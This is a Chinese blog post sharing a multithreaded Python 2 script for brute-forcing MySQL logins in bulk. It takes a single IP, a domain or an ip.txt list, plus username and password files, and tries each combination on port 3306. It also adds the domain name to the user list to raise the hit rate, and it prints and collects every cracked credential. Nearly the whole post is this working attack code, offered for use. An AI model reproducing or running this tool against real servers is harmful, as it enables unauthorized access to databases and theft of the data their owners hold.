工具分享(2):MySQL批量爆破工具 [Python多线程版]

本文介绍了一款基于Python的MySQL批量爆破工具,该工具采用多线程方式提高效率,并支持IP批量爆破及域名解析。此外,还提供了一些实用的功能改进,如默认端口设置等。
部署运行你感兴趣的模型镜像

工具分享(2):MySQL批量爆破工具 [Python多线程版]

 

参考:https://www.waitalone.cn/python-mysql-mult.html

在他的基础上,增加了如下功能:

1.支持ip批量爆破,只需同目录存在ip.txt文件;

2.如果输入的目标是域名,将域名添加到用户列表,增加爆破成功率;

3.去掉了端口和数据库的输入,默认了端口3306和数据库mysql。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool

try:
	import MySQLdb
except ImportError:
	print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
	print '[!] http://www.codegood.com/archives/129'
	exit()


def usage():
	print '+' + '-' * 50 + '+'
	print '\t   Python MySQL批量爆破工具多线程版'
	print '\t\t Time:2014-11-12'
	print '+' + '-' * 50 + '+'
	if len(sys.argv) != 4:
		print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain或ip列表 用户名列表 密码列表"
		print "实例: " + os.path.basename(sys.argv[0]) + " www.alin.cn或ip.txt user.txt pass.txt"
		sys.exit()


def mysql_brute(user, password):
	"mysql数据库破解函数"
	db = None
	try:
		# print "user:", user, "password:", password
		db = MySQLdb.connect(host=host, user=user, passwd=password, db="mysql", port=3306)
		# print '[+] 破解成功:', user, password
		result.append('ip:'+ host + '\t用户名:' + user + "\t密码:" + password)
		print '[true] ip:'+ host + '\t用户名:' + user + "\t密码:" + password+'\n'
	except KeyboardInterrupt:
		print '大爷,按您的吩咐,已成功退出程序!'
		exit()
	except MySQLdb.Error, msg:
		print '[false] ' + host+' '+user+':'+password+'\n'
	finally:
		if db:
			db.close()


if __name__ == '__main__':
	usage()
	start_time = time.time()
	if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
		with open("tmp.txt","w") as f:
			f.write(sys.argv[1])
			ips = "tmp.txt"
	elif re.match(r'\w+\.txt',sys.argv[1]):
		ips = sys.argv[1]
	else:
		with open("tmp.txt","w") as f:
			f.write(socket.gethostbyname(sys.argv[1]))
			ips = "tmp.txt"
		isExist = 0
		isExist1 = 0
		with open(sys.argv[2],'r') as tmp:
			for line in tmp.readlines():
				if sys.argv[1] in line:
					isExist = 1
					if isExist1 == 1:
						break
				if re.sub(r'\.\w+$','',sys.argv[1]) in line:
					isExist1 = 1
					if isExist == 1:
						break
		with open(sys.argv[2],"a") as f:
			if isExist == 0:
				f.write("\n"+sys.argv[1])
			if isExist1 == 0:
				f.write("\n"+re.sub(r'\.\w+$','',sys.argv[1]))
	iplist = [k.rstrip() for k in open(ips)]			
	userlist = [i.rstrip() for i in open(sys.argv[2])]
	passlist = [j.rstrip() for j in open(sys.argv[3])]
	print '\n[+] 目  标:%s \n' % sys.argv[1]
	print '[+] 用户名:%d 条\n' % len(userlist)
	print '[+] 密  码:%d 条\n' % len(passlist)
	print '[!] 密码破解中,请稍候……\n'
	result = []

	for host in iplist:
		for user in userlist:
			partial_user = partial(mysql_brute, user)
			pool = ThreadPool(10)
			pool.map(partial_user, passlist)
			pool.close()
			pool.join()
	if len(result) != 0:
		print '[+] 恭喜大爷,MySQL密码破解成功!\n'
		for x in {}.fromkeys(result).keys():
			print x + '\n'
	else:
		print '[-] 杯具了大爷,MySQL密码破解失败!\n'
	print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

 

您可能感兴趣的与本文相关的镜像

Python3.9

Python3.9

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值